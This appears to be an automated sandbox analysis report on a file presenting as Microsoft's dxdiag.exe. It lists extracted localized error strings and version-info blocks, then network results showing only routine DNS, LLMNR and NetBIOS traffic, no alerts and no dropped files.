Istuntoa ei voi luoda
Tapahtui poikkeus
Objekti ei kelpaa
Ei yhteytt
Aikakatkaisu
Varattu
Yhteys katkesi
Ei palvelua
s refus
Impossible d'ajouter un joueurImpossible de cr
er une session
Une exception s'est produite
Objet non valide
Aucune connexion
lai d'expiration atteint
Connexion interrompue
Aucun fournisseur de services
Non disponible
A hozz
s megtagadva
Nem lehet hozz
adni a j
kostNem lehet l
trehozni a j
nytelen objektum
Nincs kapcsolat
Foglalt
A kapcsolat megszakadt
Nincs szolg
Accesso negato#Impossibile aggiungere il giocatore
Impossibile creare la sessione
verificata un'eccezione
Oggetto non valido
Nessuna connessione
Timeout
Linea occupata
Connessione persa
Nessun provider di servizi
Non disponibile
Toegang geweigerd
Kan speler niet toevoegen
Kan sessie niet maken"Er is een uitzondering opgetreden.
Ongeldig object
Geen verbinding
Time-out
Verbinding verbroken
Geen serviceprovider
Niet beschikbaar
Ingen tilgang
Kan ikke legge til spiller
Kan ikke opprette
Et unntak oppstod
Ugyldig objekt
Ingen tilkobling
Tidsavbrudd
Opptatt
Tilkobling gikk tapt
Ingen tjenesteleverand
Ikke tilgjengelig
Odmowa dost
Nie mo
na doda
gracza
Nie mo
na utworzy
sesji
Nieprawid
owy obiekt
Brak po
czenia
limit czasu
czenie zerwane
Brak us
ugodawcy
Niedost
Acesso negado N
vel adicionar jogador
vel criar sess
Ocorreu uma exce
Objeto inv
Sem conex
Tempo limite
Ocupado
o perdida
Sem provedor de servi
o dispon
tkomst nekad$Det g
r inte att l
gga till spelaren Det g
r inte att skapa sessionen
Ett undantag uppstod
Ogiltigt objekt.
Ingen anslutning
Timeout
Upptaget
Anslutningen har avbrutits
Ingen tj
nstprovider
Inte tillg
im engellendi
Oturum olu
turulam
zel durum olu
ersiz nesne
Zaman a
kaybedildi
Hizmet sa
Acesso negado N
vel adicionar jogador
vel criar sess
Ocorreu uma excep
Objecto inv
Sem Liga
Tempo excedido
Ocupada
o perdida
Sem fornecedor de servi
o dispon
Acceso denegado
No se puede agregar un jugador
No se puede crear una sesi
Error de excepci
Objeto no v
Sin conexi
Tiempo de espera
Ocupado
Se perdi
la conexi
No hay proveedor de servicios
No disponible
VS_VERSION_INFO
StringFileInfo
040104B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040404B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
c Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
MicrosoftR WindowsR Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040504B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040604B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. Alle rettigheder forbeholdes.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operativsystem
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040704B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX-Diagnoseprogramm
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040804B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040B04B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. Kaikki oikeudet pid
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
rjestelm
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040C04B0
CompanyName
Microsoft Corporation
FileDescription
Outil de diagnostic Microsoft DirectX
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040D04B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
040E04B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. Minden jog fenntartva.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
s rendszer
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041004B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041104B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
c Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
MicrosoftR WindowsR Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041204B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041304B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041404B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. Med enerett.
OriginalFilename
dxdiag.exe
ProductName
Operativsystemet Microsoft
Windows
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041504B0
CompanyName
Microsoft Corporation
FileDescription
dzie diagnostyczne Microsoft DirectX
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041604B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041904B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041D04B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041F04B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. T
m haklar
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
letim Sistemi
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
? Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft? Windows? Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
081604B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. Todos os direitos reservados.
OriginalFilename
dxdiag.exe
ProductName
Sistema operativo Microsoft
Windows
ProductVersion
5.03.2600.5512
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
0C0A04B0
CompanyName
Microsoft Corporation
FileDescription
Microsoft DirectX Diagnostic Tool
FileVersion
5.03.2600.5512 (xpsp.080413-0845)
InternalName
dxdiag.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
dxdiag.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.03.2600.5512
VarFileInfo
Translation

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 53179 224.0.0.252 5355
192.168.56.101 49642 224.0.0.252 5355
192.168.56.101 137 192.168.56.255 137
192.168.56.101 61714 114.114.114.114 53
192.168.56.101 61714 8.8.8.8 53
192.168.56.101 56933 8.8.8.8 53
192.168.56.101 138 192.168.56.255 138
192.168.56.101 58485 114.114.114.114 53
192.168.56.101 57665 114.114.114.114 53

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.